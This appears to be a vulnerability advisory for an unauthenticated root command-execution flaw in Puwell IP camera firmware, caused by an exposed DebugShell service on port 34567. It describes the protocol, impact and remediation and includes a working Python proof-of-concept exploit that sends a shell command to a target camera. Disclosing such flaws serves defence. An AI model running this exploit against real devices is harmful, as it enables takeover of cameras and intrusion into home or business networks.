background

CVE-2026-61515: Unauthenticated remote code execution (RCE)

Published 14 juillet 2026
CVSS 9.8
Puwell
IP Camera
v4.x
Executive summaryA vulnerability affects all Puwell camera components. A debugging interface (DebugShell) remains enabled in production firmware, allowing unauthenticated attackers to execute commands with root privileges

Description

A vulnerability affects all Puwell camera components. A debugging interface (DebugShell) remains enabled in production firmware and is exposed through a TCP service listening on port 34567. This interface allows unauthenticated users to execute arbitrary operating system commands with root privileges.

Attack Vectors

  • Network Access: Remote
  • Authentication Required: None
  • User Interaction: None

Vulnerability Details

The firmware exposes an undocumented debugging service on TCP port 34567. This service implements a proprietary binary protocol encapsulating JSON messages that are processed by the DebugShell component.

An attacker with network access to the device (either from the local network or through the vendor's UDP hole-punching mechanism) can communicate directly with this service. No authentication, authorization, or session validation is performed before processing privileged requests.

Decompiled code showing opcode "Command" handlingFigure 1 : Decompiled code showing opcode "Command" handling

Decompiled code showing JSON decoding (length, buffer start)Figure 2 : Decompiled code showing JSON decoding (length, buffer start)

By sending specially crafted protocol messages containing the appropriate JSON payload, an attacker can invoke the Command handler exposed by DebugShell. The supplied command is passed directly to the underlying operating system without sanitization, resulting in arbitrary command execution with root privileges.

Successful exploitation leads to complete compromise of the affected device.

Conditional branch handling DebugShell requests before executing the supplied command buffer when OprName is different from PingDevFigure 3 : Conditional branch handling DebugShell requests before executing the supplied command buffer when OprName is different from PingDev

Unsanitized command execution pathFigure 4 : Unsanitized command execution path

The reconstructed binary protocol used by the TCP service is shown below.

Binary protocol carrying the JSON payload processed by the TCP service on port 34567Figure 5 : Binary protocol carrying the JSON payload processed by the TCP service on port 34567

Similarity with previous CVE

The protocol header contains a Session field; however, its value is never validated nor associated with an authenticated connection. Any arbitrary value is accepted, allowing attackers to issue privileged requests without first establishing a legitimate session. This behavior is identical to the previously reported vulnerability affecting the same protocol.

Proof of Concept (PoC)

The following Python proof of concept demonstrates that the TCP service exposed on port 34567 accepts and processes protocol messages without requiring authentication or prior session establishment.

Codeimport socket
import json
import sys
import struct

TARGET_IP = "192.168.2.42"

def _encode(payload):
    if payload is None:
        return b""
    if isinstance(payload, dict):
        return json.dumps(payload, separators=(",", ":")).encode() + b"\x00"
    return str(payload).encode() + b"\x00"
    
def build_new(cmd: int, session: int, seq: int, payload) -> bytes:
    data = _encode(payload)
    hdr = struct.pack("<4sIIIHHI",
        b"\xff\x00\x00\x00", 0xA55A0000,            
        session, seq, cmd, 0x0000, len(data),             
    )
    return hdr + data

def exchange(sock, cmd: int, session: int, seq: int, payload):
    pkt = build_new(cmd, session, seq, payload)
    sock.sendall(pkt)

def do_rce(sock, cmd_str: str, session: int = 0):
    payload = {
        "Name": "DebugShell",
        "SessionID": f"0x{session:08x}",
        "OprName": "Ping",
        "DebugShell": cmd_str,
    }
    exchange(sock, 0x2B2C, session, 2, payload)

def connect_to(ip: str, port: int):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5.0)
    s.connect((ip, port))
    return s

sock = connect_to(TARGET_IP, 34567)
do_rce(sock, "id > /tmp/pwned.txt", 0)
sock.close()

The DebugShell interface should be completely removed or disabled from production firmware.


If a debugging interface is required for development purposes, it should only be included in development builds and must enforce strong authentication and authorization mechanisms. Access to the service should be restricted to trusted management interfaces, disabled by default, and never exposed to untrusted networks.


Additionally, all incoming protocol fields, including session identifiers, should be properly validated before processing privileged operations.

Risk and Impact

  • Unauthenticated remote code execution.
  • Arbitrary command execution with root privileges.
  • Full compromise of the affected device.
  • Potential lateral movement within the local network.
  • Persistent modification of the device firmware or configuration.

Authors

  • Yassine Damiri
© 2023 Yassine Damiri. All Rights Reserved.
AboutPrivacy PolicyContact